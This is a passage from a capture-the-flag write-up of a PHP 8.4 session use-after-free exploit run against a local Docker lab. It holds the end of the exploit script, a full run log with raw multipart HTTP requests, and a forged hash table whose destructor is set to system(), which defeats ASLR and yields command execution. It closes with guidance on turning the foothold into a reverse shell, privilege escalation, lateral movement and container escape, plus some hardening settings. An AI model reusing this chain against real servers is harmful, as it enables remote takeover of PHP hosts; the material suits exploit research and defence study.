print(" 4claude.py 'whoami>/out/p'")
else:
for path in PROOF_CANDIDATES:
if os.path.exists(path):
print(f"PROOF ({path}): {open(path).read().strip()}")
break
else:
print("Redirected, but no local /out/p. Check it with:")
print(" docker exec php2shell-target cat /out/p")
Running it to read the flag (appending to the proof file, which already held
www-data from an earlier whoami>/out/p):
$ python3 4claude.py 'cat /f>>/out/p'
########################################################################
# LEAK 1 - heap leak -> Zend MM chunk base
########################################################################
[+] Zend MM chunk base = 0x77d773200000
########################################################################
# LEAK 2 - libphp leak -> libphp base
########################################################################
[+] libphp base = 0x77d774f6f000
########################################################################
# STAGE 3 - CVE-109619: fake array -> zif_system
########################################################################
[*] HTDATA = 0x77d7732690d8 ZIF = 0x77d7753d4370 cmd = b'cat /f>>/out/p'
=== A3: re-dangle and pin R0 ==========================================
--- request ----------------------------------------------------------
POST /index.php HTTP/1.1
Host: 127.0.0.1:8088
Content-Type: multipart/form-data; boundary=SSSSSSSSSSSSSSSSS
Content-Length: 12584151
Cookie: PHPSESSID=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
Connection: close
(body: 10 multipart fields, boundary=SSSSSSSSSSSSSSSSS)
name="PHPSESSID" value 19B: aaaaaaaaaaaaaaaaaaa
name="PHP_SESSION_UPLOAD_PROGRESS" value 3B: ppp
[ 6 filler parts ] name p000000000000000000000000000000 .. p000000000000000000000000000005 value 31B each
name="f" filename="a.txt" value 64B: AAAAAAAA[... 64 x b'A' ...]
name="big" value 12582912B: BBBBBBBB[... 12582912 x b'B' ...]
--- fake array (167B), sprayed 15x so one lands at HTDATA ---
00000000 01 00 00 00 07 00 00 00 10 00 00 00 f8 ff ff ff
00000010 f8 90 26 73 d7 77 00 00 01 00 00 00 01 00 00 00 <- arData
00000020 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00000030 70 43 3d 75 d7 77 00 00 00 00 00 00 00 00 00 00 <- pDestructor = zif_system
... 103 more bytes
0x00000098 63 61 74 20 2f 66 3e 3e 2f 6f 75 74 2f 70 <- command b'cat /f>>/out/p'
--- carrier (15B) overwriting PS(http_session_vars).val ---
00000000 01 00 00 00 1a 00 00 00 d8 90 26 73 d7 77 00
=== B3: plant the fake array and fire =================================
--- request ----------------------------------------------------------
POST /index.php HTTP/1.1
Host: 127.0.0.1:8088
Content-Type: multipart/form-data; boundary=BBBBBBBBBB
Content-Length: 4278
Connection: close
(body: 20 multipart fields, boundary=BBBBBBBBBB)
name="PHPSESSID" value 19B: attacksessionid0001
name="PHP_SESSION_UPLOAD_PROGRESS" value 3B: pwn
name="f00" value 15B: FFFFFFFFFFFFFFF
name="f01" value 15B: FFFFFFFFFFFFFFF
name="g00" value 15B: \x01\x00\x00\x00\x1a\x00\x00\x00\xd8\x90&s\xd7w\x00
[ 15 filler parts ] name a000000000000000000000000000000 .. a000000000000000000000000000014 value 167B each
[*] payload delivered; command ran inside the worker
========================================================================
PROOF (/home/ubuntu/php2shell-bypass-aslr-exp/out/p): www-data
THM{REDACTED}
The flag is THM{REDACTED} - the name itself (redacted here) spells out the bug.
| # | Stage | Dangling global | Mechanism | Result |
|---|---|---|---|---|
| 0 | The bug | both | 12 MB field OOMs inside php_session_initialize(); the bailout skips the session RSHUTDOWN | two pointers into freed heap |
| 1 | Leak 1 (CVE-618) | PS(id) | forged zend_string, len=0x1000, read back via php_url_encode into Set-Cookie | Zend MM chunk base |
| 2 | Leak 2 (CVE-618) | PS(id) | PS(id) lands on a real HashTable; 16-byte read exposes pDestructor = ZVAL_PTR_DTOR | libphp.so base |
| 3 | RCE (CVE-619) | PS(http_session_vars) | fake reference to a fake array whose pDestructor = zif_system, fired by zval_ptr_dtor in php_session_track_init | system(cmd) as www-data |
The authoritative fix is the upstream PHP change referenced by the two CVEs: it closes the window so the session globals are cleared after a bailout even when it escaped before the modules were marked active, so nothing dangles into the next request. Short of patching, the lab config shows how many independent settings each break a required link - the chain needs all of them at once:
session.upload_progress.enabled=0 removes the pre-RINIT session init entirely - no primitive, no chain.memory_limit removes the easy OOM trigger that the 12 MB field relies on.session.use_strict_mode=1 stops request B from adopting an attacker-chosen session id unchecked.display_errors=Off removes the headers_sent step the leak's cookie path leans on (the reference notes a display_errors=0 variant reaches only a partial leak).None of these is the fix - they are just the load-bearing walls. The real repair is upstream, in the engine.
A fair objection: 7 bytes of command is useless for real work - no recon, no privilege escalation, no lateral movement fits in it. True, but the 7 bytes are a doorway, not a room. You pass through them once and then make them irrelevant.
The cap is an artifact of this payload, not of the bug. The primitive is
system() with an attacker-controlled string, and its length is bounded only by where
the string is carried - here the 167-byte fake zend_string. That was convenient, not
necessary: a weaponised version grooms a larger controlled buffer and points the fake
execute_data argument at it, buying hundreds of bytes. The "14" is a property of this
PoC, not a ceiling.
Even with the cap, you stage. This is the standard escape from any tiny exec primitive:
>> appends build an arbitrary-length script a run at a time. In this lab it is handed to you: write a full script to /out/c, thensh</out/c (8 bytes), and from there a script with no length limit; and7-byte exec -> write a stager file -> sh<file (full-size commands)
-> reverse shell / implant -> real session -> post-exploitation
Only then does the list above begin. Recon (id, uname -a,
sudo -l, ps, ss, env), privilege escalation
(SUID, sudo misconfig, capabilities, cron, kernel) and lateral movement (keys, credentials,
pivoting) all happen in that interactive session, never typed through the primitive.
And here it is a container. The shell is www-data inside Docker - the
mount output in section 6 shows the overlay root and the bind mounts. So the
realistic next objective is not "root in the container" but a container escape: a mounted
docker.sock, privileged flags, host mounts, CAP_SYS_ADMIN, or a kernel
bug - exactly what the section-6 mount, env and /proc recon
feeds. The CTF stops at the flag; a real engagement would pivot here to the host.
One practical note: each exploit run is expensive - two leaks plus stage 3, with a worker rotation between them - so you minimise invocations. Ideally one run plants a fat stager and one run launches it, rather than fifty 7-byte recon commands.
In short: the hard part is already done - the memory corruption, the ASLR
bypass, reliable code execution. The 7 bytes that follow are a solved problem you step over with a
single sh<.
php-8.4.26:
ext/session/session.c,
main/main.c,
Zend/zend_alloc.c,
Zend/zend_types.hphp:8.4.26-apache on Docker Hub,
built from docker-library/php